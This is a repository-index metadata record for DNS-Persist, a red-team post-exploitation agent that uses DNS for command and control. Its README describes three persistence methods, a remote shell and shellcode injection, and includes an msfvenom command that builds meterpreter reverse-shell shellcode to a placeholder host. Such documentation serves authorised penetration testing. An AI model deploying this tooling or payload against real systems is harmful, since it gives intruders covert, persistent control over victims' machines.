{"id":13389349,"url":"https://github.com/0x09AL/DNS-Persist","last_synced_at":"2025-03-13T14:31:16.891Z","repository":{"id":118699646,"uuid":"110261659","full_name":"0x09AL/DNS-Persist","owner":"0x09AL","description":"DNS-Persist is a post-exploitation agent which uses DNS for command and control.","archived":false,"fork":false,"pushed_at":"2017-11-20T08:53:25.000Z","size":178,"stargazers_count":211,"open_issues_count":0,"forks_count":65,"subscribers_count":15,"default_branch":"master","last_synced_at":"2025-02-27T18:35:43.131Z","etag":null,"topics":["pentesting","post-exploitation","redteam"],"latest_commit_sha":null,"homepage":null,"language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/0x09AL.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2017-11-10T15:23:49.000Z","updated_at":"2025-02-07T12:09:07.000Z","dependencies_parsed_at":null,"dependency_job_id":"817c5cdb-0266-4938-912f-5ae72cf5eacb","html_url":"https://github.com/0x09AL/DNS-Persist","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x09AL%2FDNS-Persist","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x09AL%2FDNS-Persist/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x09AL%2FDNS-Persist/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0x09AL%2FDNS-Persist/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/0x09AL","download_url":"https://codeload.github.com/0x09AL/DNS-Persist/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243422419,"owners_count":20288454,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["pentesting","post-exploitation","redteam"],"created_at":"2024-07-30T13:01:07.153Z","updated_at":"2025-03-13T14:31:16.423Z","avatar_url":"https://github.com/0x09AL.png","language":"C++","funding_links":[],"categories":["C++","C++ (225)"],"sub_categories":[],"readme":"# DNS-Persist\nDNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future.\n\n## Getting Started\n### Author\n0x09AL - https://twitter.com/0x09al\n### Disclaimer\nDO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES.\n\nTHE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE.\n\n## Did I reinvent the wheel ?\nThere is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first \"real program\" in C++ (so expect some cringe worthy code). \n\nSuggestions about features and improvements are open.\n\n## Architecture\n\nThere are two main parts:\n1. DNS server\n2. Agent\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-5.png \"Architecture\")\n\n## Features\n### Persistence mechanisms\nThis version has only 3 persistence mechanisms. More will be added later.\n1. LogonScript persistence.\n2. RunKey persistence.\n3. Excel Addin persistence.\n\n### 'Interactive' command shell\nThis version supports pseudo-interactive command shell that you can use to execute system commands.\n\n\n### Shellcode Injection\nThis version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode.\n\n#### Shellcode generation example\n```\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b \"\\x00\" -f hex -o /tmp/shellcode.hex\n```\n\n## TODO LIST\n1. Add encryption.  **This version does not have any encryption so take your own risks when using it.**\n2. Add more persistence mechanisms.\n3. Agent in different programming languages.\n\n## Installation \u0026 Usage\n### Server side\n```\npip install dnslib\ngit clone https://github.com/0x09AL/DNS-Persist\npython server.py\n```\nBy default a DNS server on port 53 will be started. You can change that on the server.py file.\n\n### Agent\nI used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy.\n\nKeep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name.\n\nThe domain nameservers should point to the DNS-Persist IP address.\n\n\n```\n#define DOMAIN_NAME \"example.com\"\n```\n\n## Screenshots\n\n1. Picture-1\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-1.png \"Picture-1\")\n\n2. Picture-2\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-2.png \"Picture-2\")\n\n3. Picture-3\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-3.png \"Picture-3\")\n\n4. Picture-4\n\n![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-4.png \"Picture-4\")\n\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0x09AL%2FDNS-Persist","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F0x09AL%2FDNS-Persist","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0x09AL%2FDNS-Persist/lists"}